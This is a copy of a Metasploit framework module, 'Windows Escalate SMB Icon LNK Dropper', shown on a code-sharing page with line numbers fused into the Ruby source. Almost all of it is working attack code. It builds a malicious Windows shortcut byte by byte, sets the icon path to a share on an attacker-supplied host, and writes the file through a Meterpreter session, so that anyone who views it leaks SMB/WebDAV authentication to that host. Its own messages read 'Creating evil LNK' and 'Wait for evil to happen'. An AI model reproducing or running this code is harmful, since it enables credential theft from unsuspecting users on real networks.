Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/escalate/droplnk.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Windows Escalate SMB Icon LNK Dropper',12'Description' => %q{13This module drops a shortcut (LNK file) that has a ICON reference14existing on the specified remote host, causing SMB and WebDAV15connections to be initiated from any user that views the shortcut.16},17'License' => MSF_LICENSE,18'Author' => [ 'mubix' ],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24core_channel_eof25core_channel_open26core_channel_read27core_channel_write28stdapi_fs_getwd29]30}31}32)33)34register_options(35[36OptAddress.new('LHOST', [ true, 'Host listening for incoming SMB/WebDAV traffic', nil]),37OptString.new('LNKFILENAME', [ true, "Shortcut's filename", 'Words.lnk']),38OptString.new('SHARENAME', [ true, 'Share name on LHOST', 'share1']),39OptString.new('ICONFILENAME', [ true, "File name on LHOST's share", 'icon.png'])40]41)42end4344def run45print_status 'Creating evil LNK'46lnk = ''47lnk << "\x4c\x00\x00\x00" # Header size48lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" # Link CLSID49lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46"50lnk << "\xdb\x00\x00\x00" # Link flags51lnk << "\x20\x00\x00\x00" # File attributes52lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Creation time53lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Access time54lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Write time55lnk << "\x00\x00\x00\x00" # File size56lnk << "\x00\x00\x00\x00" # Icon index57lnk << "\x01\x00\x00\x00" # Show command58lnk << "\x00\x00" # Hotkey59lnk << "\x00\x00" # Reserved60lnk << "\x00\x00\x00\x00" # Reserved61lnk << "\x00\x00\x00\x00" # Reserved62lnk << "\x7b\x00" # IDListSize63# sIDList64lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20"65lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00"66lnk << "\x2b\x30\x30\x9d\x19\x00\x2f"67lnk << 'C:\\'68lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"69lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20"70lnk << "\x00"71lnk << 'AUTOEXEC.BAT'72lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f"73lnk << "\x5b\x15\x14\x00\x00\x00"74lnk << Rex::Text.to_unicode('AUTOEXEC.BAT')75lnk << "\x00\x00\x1c\x00\x00\x00"76# sLinkInfo77lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00"78lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00"79lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00"80lnk << "\x00\x00\x00"81lnk << 'C:\\AUTOEXEC.BAT'82lnk << "\x00\x00\x0e\x00"83# RELATIVE_PATH84lnk << Rex::Text.to_unicode('.\\AUTOEXEC.BAT')85lnk << "\x03\x00"86# WORKING_DIR87lnk << Rex::Text.to_unicode('C:\\')88# ICON LOCATION89lnk << "\x1c\x00"90lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\#{datastore['SHARENAME']}\\#{datastore['ICONFILENAME']}`")91lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00"92lnk << 'computer'93lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"94lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"95lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"96lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"97lnk << "\x08\x00\x27\x6f\xe3\x1f\x00\x00\x00\x00"9899print_status "Done. Writing to disk - #{session.fs.dir.pwd}\\#{datastore['LNKFILENAME']}"100file = client.fs.file.new(datastore['LNKFILENAME'], 'wb')101file.write(lnk)102file.close103print_status 'Done. Wait for evil to happen..'104end105end106107108